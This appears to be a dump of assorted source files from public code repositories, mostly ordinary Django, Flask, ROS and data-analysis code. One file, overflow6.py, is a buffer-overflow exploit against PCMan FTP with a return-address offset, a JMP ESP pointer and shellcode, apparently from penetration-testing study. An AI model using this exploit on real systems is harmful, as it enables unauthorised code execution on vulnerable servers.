from accounts.api.api_views import CompanyAdminSignUpView, CustomerSignUpView
from rest_framework.authtoken.views import obtain_auth_token
urlpatterns = [
path("login/", obtain_auth_token, name = "api_login"),
]
| [
"55446297+Sevenstar-A@users.noreply.github.com"
] | 55446297+Sevenstar-A@users.noreply.github.com |
b5b422227dabc1bfe8fc6b9334c87ba02f816f48 | 5abdbe26ad89d50761e505d02c35ea184d79f712 | /users/views.py | a97471d6b3ea8fef81e3388ad3b5f6e8a24fd6db | [] | no_license | liyongjun-brayan/xuexi | 5c00abaeadb46caa4a63fdcd316fabd2d1ebdb15 | b5356a5115b34dc1d5f627215aef780d7d5a0693 | refs/heads/master | 2021-06-25T10:25:12.602434 | 2019-08-27T02:27:23 | 2019-08-27T02:27:23 | 204,632,981 | 1 | 0 | null | 2021-06-10T21:54:15 | 2019-08-27T06:16:39 | Python | UTF-8 | Python | false | false | 1,128 | py | from django.shortcuts import render
# Create your views here.
from django.http import HttpResponseRedirect
from django.core.urlresolvers import reverse
from django.contrib.auth import login, logout, authenticate
from django.contrib.auth.forms import UserCreationForm
def logout_view(request):
"""注销用户"""
logou... | [
"johndoe@example.com"
] | johndoe@example.com |
1655163a3b07c5c5627b685391bca397d0d1aad3 | f3efd0393d98c454ebd2f7461a422af8017184f0 | /app.py | 68cf448d84806648662903c9bd02d24ff2788db1 | [] | no_license | wfsunyong/flaskPractice | bed4c21eaeb5df005637c7acd3cf6ba50f000bd0 | 7aaa8ae732f94aad02d20e4892f72f3a4acfe836 | refs/heads/master | 2023-01-05T05:10:20.534665 | 2020-11-01T14:33:55 | 2020-11-01T14:33:55 | 309,114,602 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,677 | py | from flask import Flask
from flask import render_template
from flask import request
# 创建应用程序
app = Flask(__name__)
# 设置路由
@app.route('/')
# 处理上述路由下web发送的请求,及当访问上述路由页面时,执行以下函数˙
def index():
a = 'hahahaah'
list1 = ['毛泽东', '江泽民', '习近平', '谁呢', "lalal"]
return render_template('index.html', jay=a, list=list1) #... | [
"wfsunyong@163.com"
] | wfsunyong@163.com |
544735ca665f6fafb03b4fe1452e10821faaf81b | e02f76d870634086a7dff5c43bb12649e85f0f52 | /users/tests/test_sign_out_views.py | cb19bb38e3f51e9db3988e82ad40904658e514e2 | [] | no_license | alhabibhasan/Telet | d572b68ff9a80080aeeb0854b4e89a0448238bf9 | ca47d0e0048a772ca2554e01aca5a8716dd6f518 | refs/heads/master | 2020-03-30T07:43:05.300202 | 2018-12-14T23:40:53 | 2018-12-14T23:40:53 | 150,961,516 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,018 | py | # Create your tests here.
from datetime import date
from django.contrib.auth import get_user_model
from django.test import TestCase
from django.urls import reverse_lazy
from rest_framework import exceptions
from rest_framework import status
from rest_framework.authtoken.models import Token
from rest_framework.test imp... | [
"Muhammedahasan@outlook.com"
] | Muhammedahasan@outlook.com |
40d746d219cf27e2d4c05238491115c46a3beb00 | 092788f4b12d733abff65eb587d9d7369765c6e5 | /buffer_overflow/pcman_ftp/overflow6.py | 303ce83da42395345f64626fc0050d4789c2af68 | [] | no_license | shajd/PTP | 679a5921fe81dac0bb574cd0983045a7c827fbb3 | 52011adb7c507e376d98c4eab1f4ecaf0037ff6a | refs/heads/master | 2022-11-06T14:41:41.288177 | 2020-06-18T04:41:14 | 2020-06-18T04:41:14 | 269,221,192 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,022 | py | #!/usr/bin/env python2
import socket
import struct
# set up the IP and port we're connecting to
RHOST = "10.0.2.8"
RPORT = 21
buf_totlen = 2500
offset_srp = 2007
ptr_jmp_esp = 0x7c9d30d7
sub_esp_10 = "\x83\xec\x10"
shellcode_calc = ""
shellcode_calc += "\xb8\xa2\xf0\x26\x08\xd9\xcd\xd9\x74\x24"
shellcode_calc += ... | [
"root@localhost.localdomain"
] | root@localhost.localdomain |
672ab02fe434eb1a41749a43cc63853910b29c5f | a19275ff09caf880e135bce76dc7a0107ec0369e | /catkin_ws/src/robot_python/nodes/send_single_cmd_gaebo_node.py | 0e95c32d3222631780ea123c1986f759e3d06a86 | [] | no_license | xtyzhen/Multi_arm_robot | e201c898a86406c1b1deb82326bb2157d5b28975 | 15daf1a80c781c1c929ba063d779c0928a24b117 | refs/heads/master | 2023-03-21T14:00:24.128957 | 2021-03-10T12:04:36 | 2021-03-10T12:04:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,747 | py | #!/usr/bin/env python
#-*-coding:utf-8-*-
#本文档用于发送关节角度
#程序员:陈永厅
#版权:哈尔滨工业大学
#日期:初稿:2019.11.6
import rospy
from std_msgs.msg import Float64MultiArray
from std_msgs.msg import Float64
import os
import numpy as np
from robot_python import FileOpen
def talker():
#建立节点
pub1 = rospy.Publisher("armc/joint1_effort_... | [
"qyz146006@163.com"
] | qyz146006@163.com |
613e729950a3c2e974278d68a0b72f46cdd061d6 | de921c5bc7218572fab61b87c20af0eb17c306d5 | /notification_channels/templatetags/notif_tags.py | 29b88af37b1ac1eb6a4adb870fc6a676222aadc5 | [] | no_license | pranjulps3/Asq | 567cb66ea6629208050019274cc66e2f3d8ce5dc | e91225695e525957ff382bc14706c55ed60608c6 | refs/heads/master | 2022-12-10T18:56:54.440695 | 2020-03-05T08:47:23 | 2020-03-05T08:47:23 | 91,827,545 | 4 | 2 | null | 2022-12-08T02:54:58 | 2017-05-19T16:59:16 | JavaScript | UTF-8 | Python | false | false | 2,333 | py | from django import template
from django.contrib.contenttypes.models import ContentType
from notification_channels.models import Notification
register = template.Library()
""" Notification tags """
@register.simple_tag(name='get_all_notifs')
def get_all_notifs(user):
return user.notifications.all().order_by("-times... | [
"pranjul.ps3@gmail.com"
] | pranjul.ps3@gmail.com |
d8c24a8144ffcbf9c5ef4a88235c206f31add117 | e87e8dace1d4a19068142d2b3ceff54db6fbad00 | /Python3.8/1040 - Average 3 | 4fd3722eaa7ff858439cbea8a4d7063b1c2271f9 | [] | no_license | ferdousmamun777/Uri-Solution | aab8ce64f58fd0df59fa6e4dd224f7665d1dd865 | f17f704cc7a9a4ad1b4f1e03e68c03ceda52693e | refs/heads/master | 2022-12-01T17:08:46.740555 | 2020-08-10T14:14:25 | 2020-08-10T14:14:25 | 283,682,526 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 538 | n1, n2, n3, n4= input().split()
n1 = float(n1)
n2 = float(n2)
n3 = float(n3)
n4 = float(n4)
media = (n1*2+n2*3+n3*4+n4*1)/10
print('Media: %.1f' %media)
if (media>=7):
print('Aluno aprovado.')
elif(media<5):
print('Aluno reprovado.')
else:
print('Aluno em exame.')
n5 = float(input())
final = (n5+m... | [
"noreply@github.com"
] | noreply@github.com | |
6da8b4621dd09f83161794e4d186555b9ccf9e4b | d32283cd1ff336229d834f5a9f6fc6bd9f9bbc9f | /Section 39 - Artificial Neural Networks (ANN)/DataProcess.py | cd55c36e313bf59a166e71bf43742c828419f3d0 | [] | no_license | thomasshuaiyuan/SalmonPrediction2019 | ba8de11529fa352b16a679a37d5de5dffceb8a63 | e5b2204d6ab4a6bc1bfc751cc00fe216050513b3 | refs/heads/master | 2020-05-01T07:56:06.394869 | 2019-03-24T03:03:57 | 2019-03-24T03:03:57 | 177,364,279 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,958 | py | # split data into train and test sets
from numpy import unique
from numpy import nan
from numpy import array
from numpy import savetxt
from pandas import read_csv
# split the dataset by 'chunkID', return a dict of id to rows
def to_chunks(values, chunk_ix=1):
chunks = dict()
# get the unique chunk ids
chunk_ids = ... | [
"thomas.yuan2020@stgeorges.bc.ca"
] | thomas.yuan2020@stgeorges.bc.ca |
ff78462a33b2ecb3dd40c291fb4d19cfd65795d3 | 50639b8c539b9d69539f9b9016527f831cee213d | /LC/LC17-LetterCombinationsOfPhoneNumber.py | 2031ec7bbc8fc07ceae9ae08c38a89b1b4edec00 | [] | no_license | yaelBrown/pythonSandbox | fe216b2c17d66b6dde22dd45fe2a91f1315f2db4 | abac8cabeb7a2b4fbbe1fc8655f7f52a182eaabe | refs/heads/master | 2023-08-10T09:42:26.249444 | 2023-08-03T21:54:37 | 2023-08-03T21:54:37 | 194,980,832 | 0 | 1 | null | 2023-05-02T18:01:41 | 2019-07-03T04:42:16 | Jupyter Notebook | UTF-8 | Python | false | false | 800 | py | """
Given a string containing digits from 2-9 inclusive, return all possible letter combinations that the number could represent. Return the answer in any order.
A mapping of digits to letters (just like on the telephone buttons) is given below. Note that 1 does not map to any letters.
"""
class Solution:
def let... | [
"yaelrbrown@gmail.com"
] | yaelrbrown@gmail.com |
60c2e8e9ff8c5b9bd21b22fa945733c893bb0522 | 3e0e674e07e757dfb23e18ba30dbb440c0966848 | /树二.py | d983ceabbf739253db8b0bd723fcaccfa61ffb57 | [] | no_license | Jasonmes/Algorithm--Advanced | 0bfaa844127ff146997d2dd19b4943be29467fad | 3f29b07b6d55197c5d21f44a474f6e96021cd5b0 | refs/heads/master | 2020-03-27T12:34:49.537881 | 2018-08-29T06:26:38 | 2018-08-29T06:26:38 | 146,554,989 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 144 | py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
# Jason Mess
Tree = [['a', 'b'], ['c'], ['b', ['e', 'f']]]
print(Tree[0][1])
print(Tree[2][1][0])
| [
"wow336@163.com"
] | wow336@163.com |
226640c569bd1ca4c69bbf3aaacc75aeb08d09a6 | c98f9d1254996058586011d24e12f03645963185 | /union, intersection, difference and symmetric difference.py | 4cb4524e8d1bdc9675a8337aa1b29bfda65d060b | [] | no_license | Thamaraikannan-R/set | 8db9e1005ff25a8a69e3ab8cf4788b9768a852f5 | 63cacb5fb0ab678861b939600410391e9de92328 | refs/heads/master | 2020-04-10T04:41:54.813924 | 2018-12-07T10:04:25 | 2018-12-07T10:04:25 | 160,806,238 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 175 | py | a = {0, 2, 4, 6, 8}
b = {1, 2, 3, 4, 5}
print("A+B",a.union(b))
print("A and B",a.intersection(b))
print("A-B",a.difference(b))
print("A not B",a.symmetric_difference(b)) | [
"noreply@github.com"
] | noreply@github.com |
78bdb93d8ecdf16fb146247e5800508338cf36f7 | d335c5dd3cac92e6e58f9ca6dcdb96635260239d | /lorenz84.py | 97bfabba6da9a281d4f08267001043448e03c31f | [] | no_license | ManuelSantosG/Code-Project | b9318946242d757ffb33906cf1f9f604effc9755 | c4416429ab4e6068ccb9c02da370209b978b0de0 | refs/heads/master | 2021-01-25T09:43:53.338300 | 2018-05-21T08:22:50 | 2018-05-21T08:22:50 | 123,311,603 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 859 | py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Mar 1 17:39:00 2018
@author: ms5717
"""
from scipy.integrate import odeint
import matplotlib.pyplot as plt
import numpy as np
# these are our constants
def Lorenz84(x,t):
a=0.25
b=4
G=0.24
F=8
# compute state derivatives
d = np.zeros(3)... | [
"manuel.santosgut@gmail.com"
] | manuel.santosgut@gmail.com |
44c41d3b3010a89316b850cec1f56cee570c98c6 | 07bb701b37abea1c5096fc32e06b7dada90d8398 | /object_recognition/cfg/rconfig.cfg | b6f779c6088c3254c6e166e6287539cdf38ac79f | [] | no_license | wangzivector/Object_Recognition_and_Alignment-ROS-PCL-RealSense | c99aec4156e63156528ff86f36923c05e66dc3cd | 64dfbd63050f3d2163c5ebb97746851f17a89d2a | refs/heads/master | 2023-01-29T00:11:46.838386 | 2020-12-13T02:58:34 | 2020-12-13T02:58:34 | 262,110,872 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,298 | cfg | #!/usr/bin/env python
PACKAGE = "object_recognition"
from dynamic_reconfigure.parameter_generator_catkin import *
gen =ParameterGenerator()
gen.add( "CLOSE", bool_t, 0, "CLOSE, after close cam ", False)
gen.add( "apply_sacia", bool_t, 0, "apply_sacia button ", True)
gen.add( "max_iterations", int_t, 0, "max_itera... | [
"1664179213@qq.com"
] | 1664179213@qq.com |
6ddae08c21df8c42e44f5e6d4404af25f79849a0 | 8e24e8bba2dd476f9fe612226d24891ef81429b7 | /geeksforgeeks/python/python_all/64_2.py | 5b45ab1e95ee997b47876fb571f3e9db42c2eeed | [] | no_license | qmnguyenw/python_py4e | fb56c6dc91c49149031a11ca52c9037dc80d5dcf | 84f37412bd43a3b357a17df9ff8811eba16bba6e | refs/heads/master | 2023-06-01T07:58:13.996965 | 2021-06-15T08:39:26 | 2021-06-15T08:39:26 | 349,059,725 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,023 | py | Python program to print Calendar without calendar or datetime module
Given the month and year. The task is to show the calendar of that month and
in the given year without using any module or pre-defined functions.
**Examples:**
**Input :**
mm(1-12) :9
yy :2010
... | [
"qmnguyenw@gmail.com"
] | qmnguyenw@gmail.com |
ef65cb5846d5c0c185b517fe86785d6f5e79bb80 | 84290c584128de3e872e66dc99b5b407a7a4612f | /Writing Functions in Python/More on Decorators/Print the return type.py | 5e5dcd69342c2f3687cdaafabdcedb9d3637648a | [] | no_license | BautizarCodigo/DataAnalyticEssentials | 91eddc56dd1b457e9e3e1e3db5fbbb2a85d3b789 | 7f5f3d8936dd4945ee0fd854ef17f04a04eb7b57 | refs/heads/main | 2023-04-11T04:42:17.977491 | 2021-03-21T19:05:17 | 2021-03-21T19:05:17 | 349,784,608 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 482 | py | def print_return_type(func):
# Define wrapper(), the decorated function
def wrapper(*args, **kwargs):
# Call the function being decorated
result = func(*args, **kwargs)
print('{}() returned type {}'.format(
func.__name__, type(result)
))
return result
# R... | [
"78171986+BautizarCodigo@users.noreply.github.com"
] | 78171986+BautizarCodigo@users.noreply.github.com |
4479eb522059f32657abc885184fc4e7abdb0b09 | 66ecf865ec4009668aa6499ba0b1d08cea57eef7 | /170BinarySearch.py | a287cacd42d85be58abf47d05571b890a958a249 | [] | no_license | edkestebanpr23/codeabbey | aecfb3b0332a92eff3dd1bab9210a3f2a173355f | 5ae79df6aec7040765b798028c83630fe191df11 | refs/heads/main | 2023-01-02T09:36:41.936669 | 2020-10-27T07:04:08 | 2020-10-27T07:04:08 | 307,609,700 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,316,353 | py | IPs=[[0,16777215,'US'],[16777216,255,'AU'],[16777472,767,'CN'],[16778240,1023,'AU'],[16779264,2047,'CN'],[16781312,4095,'JP'],[16785408,8191,'CN'],[16793600,16383,'JP'],[16809984,32767,'TH'],[16842752,255,'CN'],[16843008,255,'AU'],[16843264,15871,'CN'],[16859136,16383,'JP'],[16875520,32767,'TH'],[16908288,767,'CN'],[16... | [
"edkestebanpr23@gmail.com"
] | edkestebanpr23@gmail.com |
22ed6e96f27a6fc105db1ad60e9f81b3b919055e | 833ebc336612ab7c922775b0645c060025b2ae88 | /layout/json-to-xml.py | 1a445d9595f8a90ed7ac4ef987d79be4aa01da29 | [] | no_license | bigsmoke/sapienshabitat | 50700a2d43fb1bf5a7aaad639001f77e36a150d1 | 18d3a5f49e19108810531d48f6c71c048c560ab8 | refs/heads/master | 2023-02-04T21:51:59.312476 | 2022-12-27T15:28:42 | 2023-01-25T18:10:50 | 92,416,170 | 0 | 0 | null | 2023-01-25T18:11:35 | 2017-05-25T15:16:26 | XSLT | UTF-8 | Python | false | false | 243 | py | #!/usr/bin/env python3
# Python
import sys
import json
from xml.dom.minidom import parseString
# 3rd-party
from dicttoxml import dicttoxml
d = json.loads(sys.stdin.read())
xml = dicttoxml(d)
dom = parseString(xml)
print(dom.toprettyxml())
| [
"rowan@bigsmoke.us"
] | rowan@bigsmoke.us |
fe94f582ee489001506fec46ece42483edbbb435 | 50f738ac9c36f1ef7b8e277d510151a29d10de57 | /src/util/mousemart/generate_blocks_pwise.py | 03ef0bed492bc936a1a6e16c95d3e89cd29e9bb3 | [] | no_license | anandksrao/SibeliaZ | 15c7711f2a2cb12e39bbaaa83cc81280e703b133 | 5fe7bc02edbdfdfafca74bc400a7554b217313f3 | refs/heads/main | 2020-04-25T17:10:24.134530 | 2018-10-08T19:57:27 | 2018-10-08T19:57:27 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,103 | py | import sys
import math
import collections
from Bio import SeqIO
from os import listdir
from os.path import isfile, join
from Bio.Seq import Seq
from Bio.Alphabet import generic_dna
from Bio.SeqRecord import SeqRecord
gene = []
gene_id = dict()
mypath = './gene_seq/'
for f in listdir(mypath):
p = join(mypath, f)
if ... | [
"ivminkin@gmail.com"
] | ivminkin@gmail.com |
420f6047fa8b881ccf6600cf0b3f546584a0466e | a32599958917e0e4145e510b8bc2e5798bd23778 | /examples/__init__.py | 6264ffad6a8d79a52f092a434d99ca968a0ebf80 | [] | no_license | svovk/mutate_table | 8a68e404115a9d3d719bfa55ea241dcadec04390 | 6a7787f798de048ab4741e7070ad24b87f99045c | refs/heads/master | 2021-04-26T06:35:25.287764 | 2018-02-18T09:34:38 | 2018-02-18T09:34:38 | 121,351,148 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 43 | py | """
Some sample usages from my practice
""" | [
"sergeyvvovk@gmail.com"
] | sergeyvvovk@gmail.com |
ffa7f870f058d8db02c0905b254194304990a475 | 8578ed89c4feef2b2a10c2a40dba4ba20c6a8968 | /settings/db_settings.sample.py | 6a2e170ae4ed2a2e00a55d570902daa41e239525 | [] | no_license | Veltarn/Climax | 8c7c64c3655751304e4500313d3f09beb666e330 | 8ef808716b0c9c355db65be2564159bc66422d44 | refs/heads/master | 2020-12-25T09:47:56.171567 | 2016-06-26T15:52:35 | 2016-06-26T15:52:35 | 61,996,068 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 97 | py | __author__ = 'Veltarn'
dbhost = "localhost"
dhuser = "root"
dbpass = ""
dbname = "climax"
| [
"dante161@gmail.com"
] | dante161@gmail.com |
6020e117613f6469e3277ef47d4851fe57e51de7 | f64aaa4b0f78774464033148290a13453c96528e | /generated/intermediate/ansible-module-sdk/azure_rm_eventgrideventsubscription_info.py | 5c9b8504415906ae504d64819ed9b7b0e9b86732 | [
"MIT"
] | permissive | audevbot/autorest.cli.debug | e8996270a6a931f243532f65782c7f8fbb1b55c6 | a507fb6e2dd7826212537f27d583f203aac1c28f | refs/heads/master | 2020-06-04T05:25:17.018993 | 2019-08-27T21:57:18 | 2019-08-27T21:57:18 | 191,876,321 | 0 | 0 | MIT | 2019-08-28T05:57:19 | 2019-06-14T04:35:39 | Python | UTF-8 | Python | false | false | 17,488 | py | #!/usr/bin/python
#
# Copyright (c) 2019 Zim Kalinowski, (@zikalino)
#
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
... | [
"audevbot@microsoft.com"
] | audevbot@microsoft.com |
bd6d0ebe11d640e280eda781996ac4d012e2e20b | b5ae1aa0a1813947c324e062c609a93b67432960 | /flask_modules/app/controllers/default.py | 1bf56a00b7d2d2aa4210a1f9650df61a27327bff | [] | no_license | dancorrea86/estudos | 79762a5e6a60adc587f6f91fd914e73121830603 | 3f0790e368257a429b4a7972f3deca43653697f3 | refs/heads/master | 2023-03-04T07:57:57.607185 | 2021-02-10T01:02:20 | 2021-02-10T01:02:20 | 321,840,425 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 128 | py | from app import app
@app.route("/")
def index():
return "Hellor world!"
@app.route("/home")
def home():
return "Home" | [
"danielmacielcorrea@gmail.com"
] | danielmacielcorrea@gmail.com |
a9d39d3adb586dc3376f06d6c2cd6140e8baf8e1 | 5d46807326f5caf79866c7b59b72ac618f7c2f4e | /cluster.py | cf82c9a5b0bcc45ff42c337ccf082dc2c41af312 | [] | no_license | neocxi/sc | 2b11d357c7dd969f60aa7ab97bea1f80e17dbfb4 | c7f5ee7683b383276cc087176a8191136c4c215d | refs/heads/master | 2021-01-10T07:05:45.786870 | 2016-01-10T23:27:53 | 2016-01-10T23:27:53 | 47,213,805 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 94,211 | py | # Copyright 2009-2014 Justin Riley
#
# This file is part of StarCluster.
#
# StarCluster is free software: you can redistribute it and/or modify it under
# the terms of the GNU Lesser General Public License as published by the Free
# Software Foundation, either version 3 of the License, or (at your option) any
# later ... | [
"pchen@sellegit.com"
] | pchen@sellegit.com |
a634ee7e4e8d71c277532b37d9596c841d637df7 | 5393c48cce0532eec82c3ecec273b2e12d6cf0c6 | /spider/test_file/email_test.py | 0b7eb0d09ccce5bd64339a1cd1f8ebd466837cf3 | [] | no_license | foliage11111/python_learn | d73d756f5511cc8ff7a0d1aaff94078fd761e5e9 | 800a8184eb31a0219127ff23e761ad2990d0a7e9 | refs/heads/master | 2021-01-17T10:32:47.971077 | 2018-08-25T02:36:25 | 2018-08-25T02:36:25 | 42,944,862 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 919 | py | # coding : utf8
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.utils import parseaddr, formataddr
import smtplib
def _format_addr(s):
name, addr = parseaddr(s)
return formataddr((Header(name, 'utf-8').encode(), addr))
from_addr ='378517225@qq.com' ... | [
"378517225@qq.com"
] | 378517225@qq.com |
6294490ba1a5c3d26f2d9a5d46ae203d4630e991 | c4c1e3fe1dcaa521924cc6dffa34835e84a1e96d | /mysite/polls/migrations/0001_initial.py | 615e244ec459106d1c8822f0c82caf0444e29308 | [
"MIT"
] | permissive | wangjinyu124419/django1.11-demo-tutorial | 2b2656fa236e904a7b516a9db605c7052ad7e164 | bb636c9f1678585d3c4c115dac81e20600f73657 | refs/heads/master | 2020-07-29T06:20:04.588153 | 2019-09-28T15:57:21 | 2019-09-28T15:59:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,231 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.24 on 2019-09-19 08:47
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.Cre... | [
"wangjinyu124419@gmail.com"
] | wangjinyu124419@gmail.com |
9043f5dcead3773ab1f1f87dcb935d709618b831 | 5930c71bec46a7bc011de1c6ad872d961d4bc902 | /Øving 3/python/tempCodeRunnerFile.py | 954c7c53d1f61572febdd880882e9ccd1f14ac5c | [] | no_license | JayKays/Robotsyn | 6f5a66d3e9b3bb81fc9ec19f420e8a5aaa685a72 | 4c4a65241aaf3b6a00f277f230840e3628c3fb5e | refs/heads/main | 2023-04-03T23:19:00.205800 | 2021-03-23T20:13:09 | 2021-03-23T20:13:09 | 350,843,489 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 35 | py | plt.xlim(450,220)
plt.ylim(540,440) | [
"kveen19@gmail.com"
] | kveen19@gmail.com |
c7636c4b7514bd9fc43b5734f68ec1001bfb0bb2 | 4d6e3c55fc839191b97a40751fd4cbc211969fb0 | /extra/06_head/test.py | a9c6954b8e586da7f7b9a4c10faa975a93d4e62b | [
"MIT"
] | permissive | wFanhua/tiny_python_projects | 580860c82a840214ba6255eb6a5a544edc5943a4 | f639352c0cf206cd4bee649c6d45d28ae10c877d | refs/heads/master | 2022-12-02T19:13:16.158045 | 2020-08-23T06:14:48 | 2020-08-23T06:14:48 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,103 | py | #!/usr/bin/env python3
"""tests for days.py"""
import os
import random
import re
import string
from subprocess import getstatusoutput
prg = './head.py'
sonnet = './inputs/sonnet-29.txt'
bustle = './inputs/the-bustle.txt'
gettysburg = './inputs/gettysburg.txt'
# ---------------------------------------... | [
"744118724@qq.com"
] | 744118724@qq.com |
e8e63905615234063decae5d5313eb51249deda5 | ba8b16ff02ea13e2cc4ac3e386716a3133b111d0 | /learning/networks2/simple_dense.py | cb181a4ebd5386ed8000da12468cf70f226566eb | [] | no_license | wozu-dichter/GestEar | 89526c711c0b1129e7b2b69efa619bcf33ab17c9 | 465c93fbe47550b236146cec3c81ae68c4422fb3 | refs/heads/master | 2023-03-21T04:11:58.003019 | 2019-08-11T13:58:00 | 2019-08-11T13:58:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,693 | py | import tensorflow as tf
from tensorflow import keras
from constants import SEQUENCE_LENGTH, N_GYRO, N_LIN_ACCEL, N_CLASSES
def create_model(n_fft):
# Input
input_fft = keras.layers.Input(shape=[SEQUENCE_LENGTH, n_fft], name="input_fft")
input_gyro = keras.layers.Input(shape=[SEQUENCE_LENGTH, N_GYRO, 3], n... | [
"vincent.becker@inf.ethz.ch"
] | vincent.becker@inf.ethz.ch |
7e506f8c9cc581c152b857ffffa4687b27b09798 | eb9c56cff249c767d351a6a18ebd100e8343b874 | /algorithms/OR_ELM.py | c1d4e204c239bbd9b2ed953a2abcb8458a0343df | [] | no_license | lyzl2010/Online-Recurrent-Extreme-Learning-Machine | cb95dc406f2c2b67adec5cde626600178bcadf5d | 5597402e6970a16d09537df3d38e60ac96229fae | refs/heads/master | 2020-05-23T06:10:25.112686 | 2018-08-02T02:26:23 | 2018-08-02T02:26:23 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 9,459 | py | # ----------------------------------------------------------------------
# Copyright (c) 2017, Jin-Man Park. All rights reserved.
# Contributors: Jin-Man Park and Jong-hwan Kim
# Affiliation: Robot Intelligence Technology Lab.(RITL), Korea Advanced Institute of Science and Technology (KAIST)
# URL: http://rit.kaist.ac.... | [
"jmpark@rit.kaist.ac.kr"
] | jmpark@rit.kaist.ac.kr |
ca6d2b897c7a95027f7b7026dd3da8cd8b13d904 | 5bbcf99b554a70c86c39ebd0dbeb1b7878aa2d4f | /API_BE/modules/genetic.py | 4e3e8b3a52011a0a1ef774ffb58537503ef015af | [] | no_license | Web-Flux/WebFlux | f5cb6e82ca79238362e920685fd785dcb3a2f8f6 | a74bea12c9e28e68cf26aa1a8e98a625072920ad | refs/heads/main | 2023-02-26T17:14:35.674507 | 2021-01-23T07:45:53 | 2021-01-23T07:45:53 | 331,671,481 | 6 | 0 | null | null | null | null | UTF-8 | Python | false | false | 34 | py | #placeholder for genetic algorithm | [
"karan.sheth@somaiya.edu"
] | karan.sheth@somaiya.edu |
9f20507865773b1b8174ceb632caa2111d2e0ed7 | 878c1dd3c8d74c6835e6048e0005bc45aeecb6bb | /blog/models.py | 99660e087036a520bc3e8edac8e0580384638d39 | [] | no_license | faroukelloumi/Django_Project | a2f45e44e68c55d3e52810c85482563d54b48823 | 723ff3bab06609138603a533b3c59d504dc991d6 | refs/heads/master | 2020-12-24T10:15:03.092998 | 2016-11-10T17:26:34 | 2016-11-10T17:26:34 | 73,094,045 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,062 | py | from django.db import models
from django.contrib.auth.models import User
class Article(models.Model):
titre = models.CharField(max_length=100)
auteur = models.CharField(max_length=42)
contenu = models.TextField(null=True)
date = models.DateTimeField(auto_now_add=True, auto_now=False,
... | [
"farouk.elloumi1@gmail.com"
] | farouk.elloumi1@gmail.com |
5207fa3242978d79d166246e58543966c02bb328 | ced2b83ef7cc267792e8014aed7dc90f21ce9899 | /euler/DigitFifthPowers.py | ea61a8c9fd10bf000c16ec2442ceab3fe36398e8 | [] | no_license | cypress777/oj | 4f380dd84ed3b7f398dfc6ad0c254cab1adfd1a3 | 80062f6969162dbf11634ccfceb502dbc6874531 | refs/heads/master | 2022-03-10T17:32:13.664052 | 2022-02-23T11:04:26 | 2022-02-23T11:04:26 | 144,862,105 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 295 | py | #10^7 > 9^5 * 7; 10^6 < 9^5 * 6
numPow5 = [pow(i, 5) for i in range(0, 10)]
ans = 0
for i in range(2, pow(10, 6)):
num = i
sum = 0
while num != 0:
sum += numPow5[num % 10]
num /= 10
if sum == i:
ans += i
print(i)
print("ans: {}".format(ans))
| [
"chenypress@gmail.com"
] | chenypress@gmail.com |
635245e10398f550e8c4827374e12efce4a712ea | 5e9025d4b4ee56486e98f5a3915c70e3a65ee15a | /pdf_merger/pdf_merger.py | 93abba8c6d27ddc4d0dc1614aef5e0922e5585bb | [] | no_license | gunabhushan/python_projects | 637dfa2edd4c5100aff7fce3c19bb1c0868507d1 | d2770e8aa3b63607c8c55a4bd3027312485a08dd | refs/heads/master | 2022-11-12T15:21:46.268857 | 2020-07-05T08:21:07 | 2020-07-05T08:21:07 | 277,257,492 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 206 | py | import PyPDF2
import sys
inputs = sys.argv[1:]
def merger(pdf_list):
merge = PyPDF2.PdfFileMerger()
for pdf in pdf_list:
merge.append(pdf)
merge.write('super.pdf')
print('all done')
merger(inputs) | [
"gunabhushan111@gmail.com"
] | gunabhushan111@gmail.com |
7feb344182ad6f02a61fae6b08adde52a6ebb7a8 | 8a8b1a5fabc279ab45204feaadb87c09012a6098 | /Projects/bigmart_sales/notebooks/BigMart Sales Prediction.py | 637895c4084165f067c642c99558f92988cf7175 | [
"MIT"
] | permissive | rahul-datascientist/ML | 87151b695ec34ed290bf2186a2135f3e223db7e3 | b5421edee0e0127f44ba4fb65532a62b295bc9de | refs/heads/master | 2020-03-22T04:14:52.990211 | 2018-09-16T15:46:33 | 2018-09-16T15:46:33 | 138,266,395 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,648 | py |
import pandas as pd
import seaborn as sns
import numpy as np
import matplotlib.pyplot as plt
#get_ipython().run_line_magic('matplotlib', 'inline')
train=pd.read_csv('../data/raw/Train_UWu5bXk.csv')
